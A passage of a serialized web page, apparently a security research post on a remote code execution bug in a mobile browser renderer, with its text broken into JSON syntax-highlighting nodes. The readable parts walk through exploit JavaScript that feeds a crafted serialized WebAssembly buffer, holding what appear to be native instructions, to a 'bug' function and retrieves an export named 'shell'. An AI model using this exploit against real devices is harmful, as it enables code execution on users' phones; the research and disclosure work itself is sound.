"value":7599},{"type":26,"tag":217,"props":29299,"children":29300},{"style":7130},[29301],{"type":32,"value":26157},{"type":26,"tag":217,"props":29303,"children":29304},{"style":7048},[29305],{"type":32,"value":7599},{"type":26,"tag":217,"props":29307,"children":29308},{"style":7130},[29309],{"type":32,"value":26157},{"type":26,"tag":217,"props":29311,"children":29312},{"style":7048},[29313],{"type":32,"value":10953},{"type":26,"tag":217,"props":29315,"children":29316},{"class":7028,"line":7140},[29317,29321,29325,29329,29333,29337,29341,29345,29349,29353,29357,29361,29365,29369,29373,29377],{"type":26,"tag":217,"props":29318,"children":29319},{"style":7130},[29320],{"type":32,"value":26678},{"type":26,"tag":217,"props":29322,"children":29323},{"style":7048},[29324],{"type":32,"value":7599},{"type":26,"tag":217,"props":29326,"children":29327},{"style":7130},[29328],{"type":32,"value":1883},{"type":26,"tag":217,"props":29330,"children":29331},{"style":7048},[29332],{"type":32,"value":7599},{"type":26,"tag":217,"props":29334,"children":29335},{"style":7130},[29336],{"type":32,"value":18670},{"type":26,"tag":217,"props":29338,"children":29339},{"style":7048},[29340],{"type":32,"value":7599},{"type":26,"tag":217,"props":29342,"children":29343},{"style":7130},[29344],{"type":32,"value":10985},{"type":26,"tag":217,"props":29346,"children":29347},{"style":7048},[29348],{"type":32,"value":7599},{"type":26,"tag":217,"props":29350,"children":29351},{"style":7130},[29352],{"type":32,"value":185},{"type":26,"tag":217,"props":29354,"children":29355},{"style":7048},[29356],{"type":32,"value":7599},{"type":26,"tag":217,"props":29358,"children":29359},{"style":7130},[29360],{"type":32,"value":332},{"type":26,"tag":217,"props":29362,"children":29363},{"style":7048},[29364],{"type":32,"value":7599},{"type":26,"tag":217,"props":29366,"children":29367},{"style":7130},[29368],{"type":32,"value":1883},{"type":26,"tag":217,"props":29370,"children":29371},{"style":7048},[29372],{"type":32,"value":7599},{"type":26,"tag":217,"props":29374,"children":29375},{"style":7130},[29376],{"type":32,"value":26233},{"type":26,"tag":217,"props":29378,"children":29379},{"style":7048},[29380],{"type":32,"value":10953},{"type":26,"tag":217,"props":29382,"children":29383},{"class":7028,"line":7165},[29384],{"type":26,"tag":217,"props":29385,"children":29386},{"style":7048},[29387],{"type":32,"value":26965},{"type":26,"tag":217,"props":29389,"children":29390},{"class":7028,"line":7178},[29391,29395,29399,29403,29407,29411,29415,29419,29423,29427],{"type":26,"tag":217,"props":29392,"children":29393},{"style":7154},[29394],{"type":32,"value":29074},{"type":26,"tag":217,"props":29396,"children":29397},{"style":7054},[29398],{"type":32,"value":26257},{"type":26,"tag":217,"props":29400,"children":29401},{"style":7149},[29402],{"type":32,"value":8993},{"type":26,"tag":217,"props":29404,"children":29405},{"style":7154},[29406],{"type":32,"value":25931},{"type":26,"tag":217,"props":29408,"children":29409},{"style":7054},[29410],{"type":32,"value":26270},{"type":26,"tag":217,"props":29412,"children":29413},{"style":7048},[29414],{"type":32,"value":180},{"type":26,"tag":217,"props":29416,"children":29417},{"style":7064},[29418],{"type":32,"value":26279},{"type":26,"tag":217,"props":29420,"children":29421},{"style":7048},[29422],{"type":32,"value":1851},{"type":26,"tag":217,"props":29424,"children":29425},{"style":7054},[29426],{"type":32,"value":26288},{"type":26,"tag":217,"props":29428,"children":29429},{"style":7048},[29430],{"type":32,"value":7669},{"type":26,"tag":217,"props":29432,"children":29433},{"class":7028,"line":7389},[29434,29438,29442,29446,29450,29454,29458,29462,29466,29470],{"type":26,"tag":217,"props":29435,"children":29436},{"style":7154},[29437],{"type":32,"value":29074},{"type":26,"tag":217,"props":29439,"children":29440},{"style":7054},[29441],{"type":32,"value":26304},{"type":26,"tag":217,"props":29443,"children":29444},{"style":7149},[29445],{"type":32,"value":8993},{"type":26,"tag":217,"props":29447,"children":29448},{"style":7154},[29449],{"type":32,"value":25931},{"type":26,"tag":217,"props":29451,"children":29452},{"style":7054},[29453],{"type":32,"value":26270},{"type":26,"tag":217,"props":29455,"children":29456},{"style":7048},[29457],{"type":32,"value":180},{"type":26,"tag":217,"props":29459,"children":29460},{"style":7064},[29461],{"type":32,"value":26325},{"type":26,"tag":217,"props":29463,"children":29464},{"style":7048},[29465],{"type":32,"value":1851},{"type":26,"tag":217,"props":29467,"children":29468},{"style":7054},[29469],{"type":32,"value":26334},{"type":26,"tag":217,"props":29471,"children":29472},{"style":7048},[29473],{"type":32,"value":7669},{"type":26,"tag":217,"props":29475,"children":29476},{"class":7028,"line":7406},[29477,29481,29485,29489,29493,29497,29501,29505,29509],{"type":26,"tag":217,"props":29478,"children":29479},{"style":7154},[29480],{"type":32,"value":29074},{"type":26,"tag":217,"props":29482,"children":29483},{"style":7054},[29484],{"type":32,"value":26350},{"type":26,"tag":217,"props":29486,"children":29487},{"style":7149},[29488],{"type":32,"value":8993},{"type":26,"tag":217,"props":29490,"children":29491},{"style":7054},[29492],{"type":32,"value":26304},{"type":26,"tag":217,"props":29494,"children":29495},{"style":7048},[29496],{"type":32,"value":180},{"type":26,"tag":217,"props":29498,"children":29499},{"style":7054},[29500],{"type":32,"value":26367},{"type":26,"tag":217,"props":29502,"children":29503},{"style":7048},[29504],{"type":32,"value":180},{"type":26,"tag":217,"props":29506,"children":29507},{"style":7054},[29508],{"type":32,"value":26376},{"type":26,"tag":217,"props":29510,"children":29511},{"style":7048},[29512],{"type":32,"value":7162},{"type":26,"tag":217,"props":29514,"children":29515},{"class":7028,"line":7439},[29516],{"type":26,"tag":217,"props":29517,"children":29518},{"emptyLinePlaceholder":17},[29519],{"type":32,"value":7817},{"type":26,"tag":217,"props":29521,"children":29522},{"class":7028,"line":7487},[29523],{"type":26,"tag":217,"props":29524,"children":29525},{"style":7033},[29526],{"type":32,"value":29527},"  // %WasmTierUpFunction(func);\n",{"type":26,"tag":217,"props":29529,"children":29530},{"class":7028,"line":7524},[29531,29536,29540,29544,29548,29552,29556,29560,29564,29568,29572,29576,29580,29584],{"type":26,"tag":217,"props":29532,"children":29533},{"style":7042},[29534],{"type":32,"value":29535},"  for",{"type":26,"tag":217,"props":29537,"children":29538},{"style":7048},[29539],{"type":32,"value":7051},{"type":26,"tag":217,"props":29541,"children":29542},{"style":7154},[29543],{"type":32,"value":12470},{"type":26,"tag":217,"props":29545,"children":29546},{"style":7054},[29547],{"type":32,"value":28971},{"type":26,"tag":217,"props":29549,"children":29550},{"style":7149},[29551],{"type":32,"value":8993},{"type":26,"tag":217,"props":29553,"children":29554},{"style":7130},[29555],{"type":32,"value":9922},{"type":26,"tag":217,"props":29557,"children":29558},{"style":7048},[29559],{"type":32,"value":13137},{"type":26,"tag":217,"props":29561,"children":29562},{"style":7054},[29563],{"type":32,"value":2290},{"type":26,"tag":217,"props":29565,"children":29566},{"style":7149},[29567],{"type":32,"value":13147},{"type":26,"tag":217,"props":29569,"children":29570},{"style":7130},[29571],{"type":32,"value":28996},{"type":26,"tag":217,"props":29573,"children":29574},{"style":7048},[29575],{"type":32,"value":13137},{"type":26,"tag":217,"props":29577,"children":29578},{"style":7054},[29579],{"type":32,"value":2290},{"type":26,"tag":217,"props":29581,"children":29582},{"style":7149},[29583],{"type":32,"value":11082},{"type":26,"tag":217,"props":29585,"children":29586},{"style":7048},[29587],{"type":32,"value":7618},{"type":26,"tag":217,"props":29589,"children":29590},{"class":7028,"line":7553},[29591,29596],{"type":26,"tag":217,"props":29592,"children":29593},{"style":7064},[29594],{"type":32,"value":29595},"    func",{"type":26,"tag":217,"props":29597,"children":29598},{"style":7048},[29599],{"type":32,"value":8217},{"type":26,"tag":217,"props":29601,"children":29602},{"class":7028,"line":7570},[29603],{"type":26,"tag":217,"props":29604,"children":29605},{"style":7048},[29606],{"type":32,"value":16086},{"type":26,"tag":217,"props":29608,"children":29609},{"class":7028,"line":7621},[29610],{"type":26,"tag":217,"props":29611,"children":29612},{"emptyLinePlaceholder":17},[29613],{"type":32,"value":7817},{"type":26,"tag":217,"props":29615,"children":29616},{"class":7028,"line":7672},[29617,29621,29625,29629,29633,29637,29641],{"type":26,"tag":217,"props":29618,"children":29619},{"style":7154},[29620],{"type":32,"value":24787},{"type":26,"tag":217,"props":29622,"children":29623},{"style":7054},[29624],{"type":32,"value":28424},{"type":26,"tag":217,"props":29626,"children":29627},{"style":7149},[29628],{"type":32,"value":8993},{"type":26,"tag":217,"props":29630,"children":29631},{"style":7064},[29632],{"type":32,"value":28433},{"type":26,"tag":217,"props":29634,"children":29635},{"style":7048},[29636],{"type":32,"value":1851},{"type":26,"tag":217,"props":29638,"children":29639},{"style":7054},[29640],{"type":32,"value":26334},{"type":26,"tag":217,"props":29642,"children":29643},{"style":7048},[29644],{"type":32,"value":7669},{"type":26,"tag":217,"props":29646,"children":29647},{"class":7028,"line":7681},[29648,29652,29656,29660,29664,29668,29672,29676,29680,29684],{"type":26,"tag":217,"props":29649,"children":29650},{"style":7054},[29651],{"type":32,"value":28470},{"type":26,"tag":217,"props":29653,"children":29654},{"style":7149},[29655],{"type":32,"value":8993},{"type":26,"tag":217,"props":29657,"children":29658},{"style":7048},[29659],{"type":32,"value":7051},{"type":26,"tag":217,"props":29661,"children":29662},{"style":7042},[29663],{"type":32,"value":7864},{"type":26,"tag":217,"props":29665,"children":29666},{"style":7054},[29667],{"type":32,"value":28424},{"type":26,"tag":217,"props":29669,"children":29670},{"style":7048},[29671],{"type":32,"value":180},{"type":26,"tag":217,"props":29673,"children":29674},{"style":7064},[29675],{"type":32,"value":28495},{"type":26,"tag":217,"props":29677,"children":29678},{"style":7048},[29679],{"type":32,"value":28500},{"type":26,"tag":217,"props":29681,"children":29682},{"style":7054},[29683],{"type":32,"value":15127},{"type":26,"tag":217,"props":29685,"children":29686},{"style":7048},[29687],{"type":32,"value":7162},{"type":26,"tag":217,"props":29689,"children":29690},{"class":7028,"line":7754},[29691,29695,29699,29703,29707,29711],{"type":26,"tag":217,"props":29692,"children":29693},{"style":7054},[29694],{"type":32,"value":25770},{"type":26,"tag":217,"props":29696,"children":29697},{"style":7048},[29698],{"type":32,"value":180},{"type":26,"tag":217,"props":29700,"children":29701},{"style":7064},[29702],{"type":32,"value":25779},{"type":26,"tag":217,"props":29704,"children":29705},{"style":7048},[29706],{"type":32,"value":1851},{"type":26,"tag":217,"props":29708,"children":29709},{"style":7054},[29710],{"type":32,"value":14769},{"type":26,"tag":217,"props":29712,"children":29713},{"style":7048},[29714],{"type":32,"value":7669},{"type":26,"tag":217,"props":29716,"children":29717},{"class":7028,"line":7784},[29718],{"type":26,"tag":217,"props":29719,"children":29720},{"emptyLinePlaceholder":17},[29721],{"type":32,"value":7817},{"type":26,"tag":217,"props":29723,"children":29724},{"class":7028,"line":7802},[29725,29729,29734,29738,29742,29746,29750,29754],{"type":26,"tag":217,"props":29726,"children":29727},{"style":7154},[29728],{"type":32,"value":24787},{"type":26,"tag":217,"props":29730,"children":29731},{"style":7054},[29732],{"type":32,"value":29733}," result_bytes",{"type":26,"tag":217,"props":29735,"children":29736},{"style":7149},[29737],{"type":32,"value":8993},{"type":26,"tag":217,"props":29739,"children":29740},{"style":7154},[29741],{"type":32,"value":25931},{"type":26,"tag":217,"props":29743,"children":29744},{"style":7064},[29745],{"type":32,"value":25936},{"type":26,"tag":217,"props":29747,"children":29748},{"style":7048},[29749],{"type":32,"value":1851},{"type":26,"tag":217,"props":29751,"children":29752},{"style":7054},[29753],{"type":32,"value":14769},{"type":26,"tag":217,"props":29755,"children":29756},{"style":7048},[29757],{"type":32,"value":7669},{"type":26,"tag":217,"props":29759,"children":29760},{"class":7028,"line":7811},[29761,29765,29769,29773,29777,29781,29785,29789,29793,29797,29801,29805,29809,29813,29817],{"type":26,"tag":217,"props":29762,"children":29763},{"style":7054},[29764],{"type":32,"value":25770},{"type":26,"tag":217,"props":29766,"children":29767},{"style":7048},[29768],{"type":32,"value":180},{"type":26,"tag":217,"props":29770,"children":29771},{"style":7064},[29772],{"type":32,"value":25779},{"type":26,"tag":217,"props":29774,"children":29775},{"style":7048},[29776],{"type":32,"value":1851},{"type":26,"tag":217,"props":29778,"children":29779},{"style":7338},[29780],{"type":32,"value":26512},{"type":26,"tag":217,"props":29782,"children":29783},{"style":7149},[29784],{"type":32,"value":9025},{"type":26,"tag":217,"props":29786,"children":29787},{"style":7054},[29788],{"type":32,"value":29733},{"type":26,"tag":217,"props":29790,"children":29791},{"style":7048},[29792],{"type":32,"value":180},{"type":26,"tag":217,"props":29794,"children":29795},{"style":7064},[29796],{"type":32,"value":26529},{"type":26,"tag":217,"props":29798,"children":29799},{"style":7048},[29800],{"type":32,"value":1851},{"type":26,"tag":217,"props":29802,"children":29803},{"style":7338},[29804],{"type":32,"value":26538},{"type":26,"tag":217,"props":29806,"children":29807},{"style":7048},[29808],{"type":32,"value":8380},{"type":26,"tag":217,"props":29810,"children":29811},{"style":7149},[29812],{"type":32,"value":3540},{"type":26,"tag":217,"props":29814,"children":29815},{"style":7338},[29816],{"type":32,"value":26551},{"type":26,"tag":217,"props":29818,"children":29819},{"style":7048},[29820],{"type":32,"value":7669},{"type":26,"tag":217,"props":29822,"children":29823},{"class":7028,"line":7820},[29824],{"type":26,"tag":217,"props":29825,"children":29826},{"style":7048},[29827],{"type":32,"value":28612},{"type":26,"tag":39,"props":29829,"children":29830},{},[29831],{"type":32,"value":29832},"We get the serialized bytes:",{"type":26,"tag":39,"props":29834,"children":29835},{},[29836],{"type":26,"tag":6468,"props":29837,"children":29840},{"alt":29838,"src":29839},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":26,"tag":39,"props":29842,"children":29843},{},[29844,29846,29851],{"type":32,"value":29845},"We can now embed this output into the original bytecode that calls ",{"type":26,"tag":83,"props":29847,"children":29849},{"className":29848},[],[29850],{"type":32,"value":25391},{"type":32,"value":1473},{"type":26,"tag":207,"props":29853,"children":29855},{"code":29854,"language":12397,"meta":8,"className":12398,"style":8},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[29856],{"type":26,"tag":83,"props":29857,"children":29858},{"__ignoreMap":8},[29859,29882,29909,30128,30195,30202,30229,30440,30692,30943,31167,31349,31571,31649,31656,31703,31746,31782,31825,31864,31891],{"type":26,"tag":217,"props":29860,"children":29861},{"class":7028,"line":7029},[29862,29866,29870,29874,29878],{"type":26,"tag":217,"props":29863,"children":29864},{"style":7048},[29865],{"type":32,"value":1851},{"type":26,"tag":217,"props":29867,"children":29868},{"style":7154},[29869],{"type":32,"value":14091},{"type":26,"tag":217,"props":29871,"children":29872},{"style":7048},[29873],{"type":32,"value":26634},{"type":26,"tag":217,"props":29875,"children":29876},{"style":7154},[29877],{"type":32,"value":8059},{"type":26,"tag":217,"props":29879,"children":29880},{"style":7048},[29881],{"type":32,"value":8064},{"type":26,"tag":217,"props":29883,"children":29884},{"class":7028,"line":6770},[29885,29889,29893,29897,29901,29905],{"type":26,"tag":217,"props":29886,"children":29887},{"style":7154},[29888],{"type":32,"value":26650},{"type":26,"tag":217,"props":29890,"children":29891},{"style":7054},[29892],{"type":32,"value":25922},{"type":26,"tag":217,"props":29894,"children":29895},{"style":7149},[29896],{"type":32,"value":8993},{"type":26,"tag":217,"props":29898,"children":29899},{"style":7154},[29900],{"type":32,"value":25931},{"type":26,"tag":217,"props":29902,"children":29903},{"style":7064},[29904],{"type":32,"value":25936},{"type":26,"tag":217,"props":29906,"children":29907},{"style":7048},[29908],{"type":32,"value":25941},{"type":26,"tag":217,"props":29910,"children":29911},{"class":7028,"line":6779},[29912,29916,29920,29924,29928,29932,29936,29940,29944,29948,29952,29956,29960,29964,29968,29972,29976,29980,29984,29988,29992,29996,30000,30004,30008,30012,30016,30020,30024,30028,30032,30036,30040,30044,30048,30052,30056,30060,30064,30068,30072,30076,30080,30084,30088,30092,30096,30100,30104,30108,30112,30116,30120,30124],{"type":26,"tag":217,"props":29913,"children":29914},{"style":7130},[29915],{"type":32,"value":26678},{"type":26,"tag":217,"props":29917,"children":29918},{"style":7048},[29919],{"type":32,"value":7599},{"type":26,"tag":217,"props":29921,"children":29922},{"style":7130},[29923],{"type":32,"value":25958},{"type":26,"tag":217,"props":29925,"children":29926},{"style":7048},[29927],{"type":32,"value":7599},{"type":26,"tag":217,"props":29929,"children":29930},{"style":7130},[29931],{"type":32,"value":25967},{"type":26,"tag":217,"props":29933,"children":29934},{"style":7048},[29935],{"type":32,"value":7599},{"type":26,"tag":217,"props":29937,"children":29938},{"style":7130},[29939],{"type":32,"value":25976},{"type":26,"tag":217,"props":29941,"children":29942},{"style":7048},[29943],{"type":32,"value":7599},{"type":26,"tag":217,"props":29945,"children":29946},{"style":7130},[29947],{"type":32,"value":185},{"type":26,"tag":217,"props":29949,"children":29950},{"style":7048},[29951],{"type":32,"value":7599},{"type":26,"tag":217,"props":29953,"children":29954},{"style":7130},[29955],{"type":32,"value":1883},{"type":26,"tag":217,"props":29957,"children":29958},{"style":7048},[29959],{"type":32,"value":7599},{"type":26,"tag":217,"props":29961,"children":29962},{"style":7130},[29963],{"type":32,"value":1883},{"type":26,"tag":217,"props":29965,"children":29966},{"style":7048},[29967],{"type":32,"value":7599},{"type":26,"tag":217,"props":29969,"children":29970},{"style":7130},[29971],{"type":32,"value":1883},{"type":26,"tag":217,"props":29973,"children":29974},{"style":7048},[29975],{"type":32,"value":7599},{"type":26,"tag":217,"props":29977,"children":29978},{"style":7130},[29979],{"type":32,"value":185},{"type":26,"tag":217,"props":29981,"children":29982},{"style":7048},[29983],{"type":32,"value":7599},{"type":26,"tag":217,"props":29985,"children":29986},{"style":7130},[29987],{"type":32,"value":10985},{"type":26,"tag":217,"props":29989,"children":29990},{"style":7048},[29991],{"type":32,"value":7599},{"type":26,"tag":217,"props":29993,"children":29994},{"style":7130},[29995],{"type":32,"value":185},{"type":26,"tag":217,"props":29997,"children":29998},{"style":7048},[29999],{"type":32,"value":7599},{"type":26,"tag":217,"props":30001,"children":30002},{"style":7130},[30003],{"type":32,"value":26041},{"type":26,"tag":217,"props":30005,"children":30006},{"style":7048},[30007],{"type":32,"value":7599},{"type":26,"tag":217,"props":30009,"children":30010},{"style":7130},[30011],{"type":32,"value":1883},{"type":26,"tag":217,"props":30013,"children":30014},{"style":7048},[30015],{"type":32,"value":7599},{"type":26,"tag":217,"props":30017,"children":30018},{"style":7130},[30019],{"type":32,"value":1883},{"type":26,"tag":217,"props":30021,"children":30022},{"style":7048},[30023],{"type":32,"value":7599},{"type":26,"tag":217,"props":30025,"children":30026},{"style":7130},[30027],{"type":32,"value":10676},{"type":26,"tag":217,"props":30029,"children":30030},{"style":7048},[30031],{"type":32,"value":7599},{"type":26,"tag":217,"props":30033,"children":30034},{"style":7130},[30035],{"type":32,"value":332},{"type":26,"tag":217,"props":30037,"children":30038},{"style":7048},[30039],{"type":32,"value":7599},{"type":26,"tag":217,"props":30041,"children":30042},{"style":7130},[30043],{"type":32,"value":185},{"type":26,"tag":217,"props":30045,"children":30046},{"style":7048},[30047],{"type":32,"value":7599},{"type":26,"tag":217,"props":30049,"children":30050},{"style":7130},[30051],{"type":32,"value":1883},{"type":26,"tag":217,"props":30053,"children":30054},{"style":7048},[30055],{"type":32,"value":7599},{"type":26,"tag":217,"props":30057,"children":30058},{"style":7130},[30059],{"type":32,"value":19177},{"type":26,"tag":217,"props":30061,"children":30062},{"style":7048},[30063],{"type":32,"value":7599},{"type":26,"tag":217,"props":30065,"children":30066},{"style":7130},[30067],{"type":32,"value":26106},{"type":26,"tag":217,"props":30069,"children":30070},{"style":7048},[30071],{"type":32,"value":7599},{"type":26,"tag":217,"props":30073,"children":30074},{"style":7130},[30075],{"type":32,"value":185},{"type":26,"tag":217,"props":30077,"children":30078},{"style":7048},[30079],{"type":32,"value":7599},{"type":26,"tag":217,"props":30081,"children":30082},{"style":7130},[30083],{"type":32,"value":25499},{"type":26,"tag":217,"props":30085,"children":30086},{"style":7048},[30087],{"type":32,"value":7599},{"type":26,"tag":217,"props":30089,"children":30090},{"style":7130},[30091],{"type":32,"value":25967},{"type":26,"tag":217,"props":30093,"children":30094},{"style":7048},[30095],{"type":32,"value":7599},{"type":26,"tag":217,"props":30097,"children":30098},{"style":7130},[30099],{"type":32,"value":26139},{"type":26,"tag":217,"props":30101,"children":30102},{"style":7048},[30103],{"type":32,"value":7599},{"type":26,"tag":217,"props":30105,"children":30106},{"style":7130},[30107],{"type":32,"value":26148},{"type":26,"tag":217,"props":30109,"children":30110},{"style":7048},[30111],{"type":32,"value":7599},{"type":26,"tag":217,"props":30113,"children":30114},{"style":7130},[30115],{"type":32,"value":26157},{"type":26,"tag":217,"props":30117,"children":30118},{"style":7048},[30119],{"type":32,"value":7599},{"type":26,"tag":217,"props":30121,"children":30122},{"style":7130},[30123],{"type":32,"value":26157},{"type":26,"tag":217,"props":30125,"children":30126},{"style":7048},[30127],{"type":32,"value":10953},{"type":26,"tag":217,"props":30129,"children":30130},{"class":7028,"line":7140},[30131,30135,30139,30143,30147,30151,30155,30159,30163,30167,30171,30175,30179,30183,30187,30191],{"type":26,"tag":217,"props":30132,"children":30133},{"style":7130},[30134],{"type":32,"value":26678},{"type":26,"tag":217,"props":30136,"children":30137},{"style":7048},[30138],{"type":32,"value":7599},{"type":26,"tag":217,"props":30140,"children":30141},{"style":7130},[30142],{"type":32,"value":1883},{"type":26,"tag":217,"props":30144,"children":30145},{"style":7048},[30146],{"type":32,"value":7599},{"type":26,"tag":217,"props":30148,"children":30149},{"style":7130},[30150],{"type":32,"value":18670},{"type":26,"tag":217,"props":30152,"children":30153},{"style":7048},[30154],{"type":32,"value":7599},{"type":26,"tag":217,"props":30156,"children":30157},{"style":7130},[30158],{"type":32,"value":10985},{"type":26,"tag":217,"props":30160,"children":30161},{"style":7048},[30162],{"type":32,"value":7599},{"type":26,"tag":217,"props":30164,"children":30165},{"style":7130},[30166],{"type":32,"value":185},{"type":26,"tag":217,"props":30168,"children":30169},{"style":7048},[30170],{"type":32,"value":7599},{"type":26,"tag":217,"props":30172,"children":30173},{"style":7130},[30174],{"type":32,"value":332},{"type":26,"tag":217,"props":30176,"children":30177},{"style":7048},[30178],{"type":32,"value":7599},{"type":26,"tag":217,"props":30180,"children":30181},{"style":7130},[30182],{"type":32,"value":1883},{"type":26,"tag":217,"props":30184,"children":30185},{"style":7048},[30186],{"type":32,"value":7599},{"type":26,"tag":217,"props":30188,"children":30189},{"style":7130},[30190],{"type":32,"value":26233},{"type":26,"tag":217,"props":30192,"children":30193},{"style":7048},[30194],{"type":32,"value":10953},{"type":26,"tag":217,"props":30196,"children":30197},{"class":7028,"line":7165},[30198],{"type":26,"tag":217,"props":30199,"children":30200},{"style":7048},[30201],{"type":32,"value":26965},{"type":26,"tag":217,"props":30203,"children":30204},{"class":7028,"line":7178},[30205,30209,30213,30217,30221,30225],{"type":26,"tag":217,"props":30206,"children":30207},{"style":7154},[30208],{"type":32,"value":26650},{"type":26,"tag":217,"props":30210,"children":30211},{"style":7054},[30212],{"type":32,"value":26977},{"type":26,"tag":217,"props":30214,"children":30215},{"style":7149},[30216],{"type":32,"value":8993},{"type":26,"tag":217,"props":30218,"children":30219},{"style":7154},[30220],{"type":32,"value":25931},{"type":26,"tag":217,"props":30222,"children":30223},{"style":7064},[30224],{"type":32,"value":25936},{"type":26,"tag":217,"props":30226,"children":30227},{"style":7048},[30228],{"type":32,"value":25941},{"type":26,"tag":217,"props":30230,"children":30231},{"class":7028,"line":7389},[30232,30237,30241,30245,30249,30253,30257,30261,30265,30270,30274,30279,30283,30288,30292,30297,30301,30305,30309,30313,30317,30321,30325,30329,30333,30338,30342,30347,30351,30356,30360,30364,30368,30372,30376,30380,30384,30388,30392,30396,30400,30404,30408,30412,30416,30420,30424,30428,30432,30436],{"type":26,"tag":217,"props":30233,"children":30234},{"style":7130},[30235],{"type":32,"value":30236},"    146",{"type":26,"tag":217,"props":30238,"children":30239},{"style":7048},[30240],{"type":32,"value":7599},{"type":26,"tag":217,"props":30242,"children":30243},{"style":7130},[30244],{"type":32,"value":27010},{"type":26,"tag":217,"props":30246,"children":30247},{"style":7048},[30248],{"type":32,"value":7599},{"type":26,"tag":217,"props":30250,"children":30251},{"style":7130},[30252],{"type":32,"value":27019},{"type":26,"tag":217,"props":30254,"children":30255},{"style":7048},[30256],{"type":32,"value":7599},{"type":26,"tag":217,"props":30258,"children":30259},{"style":7130},[30260],{"type":32,"value":27028},{"type":26,"tag":217,"props":30262,"children":30263},{"style":7048},[30264],{"type":32,"value":7599},{"type":26,"tag":217,"props":30266,"children":30267},{"style":7130},[30268],{"type":32,"value":30269},"174",{"type":26,"tag":217,"props":30271,"children":30272},{"style":7048},[30273],{"type":32,"value":7599},{"type":26,"tag":217,"props":30275,"children":30276},{"style":7130},[30277],{"type":32,"value":30278},"122",{"type":26,"tag":217,"props":30280,"children":30281},{"style":7048},[30282],{"type":32,"value":7599},{"type":26,"tag":217,"props":30284,"children":30285},{"style":7130},[30286],{"type":32,"value":30287},"171",{"type":26,"tag":217,"props":30289,"children":30290},{"style":7048},[30291],{"type":32,"value":7599},{"type":26,"tag":217,"props":30293,"children":30294},{"style":7130},[30295],{"type":32,"value":30296},"151",{"type":26,"tag":217,"props":30298,"children":30299},{"style":7048},[30300],{"type":32,"value":7599},{"type":26,"tag":217,"props":30302,"children":30303},{"style":7130},[30304],{"type":32,"value":27973},{"type":26,"tag":217,"props":30306,"children":30307},{"style":7048},[30308],{"type":32,"value":7599},{"type":26,"tag":217,"props":30310,"children":30311},{"style":7130},[30312],{"type":32,"value":1883},{"type":26,"tag":217,"props":30314,"children":30315},{"style":7048},[30316],{"type":32,"value":7599},{"type":26,"tag":217,"props":30318,"children":30319},{"style":7130},[30320],{"type":32,"value":1883},{"type":26,"tag":217,"props":30322,"children":30323},{"style":7048},[30324],{"type":32,"value":7599},{"type":26,"tag":217,"props":30326,"children":30327},{"style":7130},[30328],{"type":32,"value":1883},{"type":26,"tag":217,"props":30330,"children":30331},{"style":7048},[30332],{"type":32,"value":7599},{"type":26,"tag":217,"props":30334,"children":30335},{"style":7130},[30336],{"type":32,"value":30337},"39",{"type":26,"tag":217,"props":30339,"children":30340},{"style":7048},[30341],{"type":32,"value":7599},{"type":26,"tag":217,"props":30343,"children":30344},{"style":7130},[30345],{"type":32,"value":30346},"61",{"type":26,"tag":217,"props":30348,"children":30349},{"style":7048},[30350],{"type":32,"value":7599},{"type":26,"tag":217,"props":30352,"children":30353},{"style":7130},[30354],{"type":32,"value":30355},"60",{"type":26,"tag":217,"props":30357,"children":30358},{"style":7048},[30359],{"type":32,"value":7599},{"type":26,"tag":217,"props":30361,"children":30362},{"style":7130},[30363],{"type":32,"value":27973},{"type":26,"tag":217,"props":30365,"children":30366},{"style":7048},[30367],{"type":32,"value":7599},{"type":26,"tag":217,"props":30369,"children":30370},{"style":7130},[30371],{"type":32,"value":1883},{"type":26,"tag":217,"props":30373,"children":30374},{"style":7048},[30375],{"type":32,"value":7599},{"type":26,"tag":217,"props":30377,"children":30378},{"style":7130},[30379],{"type":32,"value":12286},{"type":26,"tag":217,"props":30381,"children":30382},{"style":7048},[30383],{"type":32,"value":7599},{"type":26,"tag":217,"props":30385,"children":30386},{"style":7130},[30387],{"type":32,"value":10676},{"type":26,"tag":217,"props":30389,"children":30390},{"style":7048},[30391],{"type":32,"value":7599},{"type":26,"tag":217,"props":30393,"children":30394},{"style":7130},[30395],{"type":32,"value":1883},{"type":26,"tag":217,"props":30397,"children":30398},{"style":7048},[30399],{"type":32,"value":7599},{"type":26,"tag":217,"props":30401,"children":30402},{"style":7130},[30403],{"type":32,"value":1883},{"type":26,"tag":217,"props":30405,"children":30406},{"style":7048},[30407],{"type":32,"value":7599},{"type":26,"tag":217,"props":30409,"children":30410},{"style":7130},[30411],{"type":32,"value":1883},{"type":26,"tag":217,"props":30413,"children":30414},{"style":7048},[30415],{"type":32,"value":7599},{"type":26,"tag":217,"props":30417,"children":30418},{"style":7130},[30419],{"type":32,"value":1883},{"type":26,"tag":217,"props":30421,"children":30422},{"style":7048},[30423],{"type":32,"value":7599},{"type":26,"tag":217,"props":30425,"children":30426},{"style":7130},[30427],{"type":32,"value":1883},{"type":26,"tag":217,"props":30429,"children":30430},{"style":7048},[30431],{"type":32,"value":7599},{"type":26,"tag":217,"props":30433,"children":30434},{"style":7130},[30435],{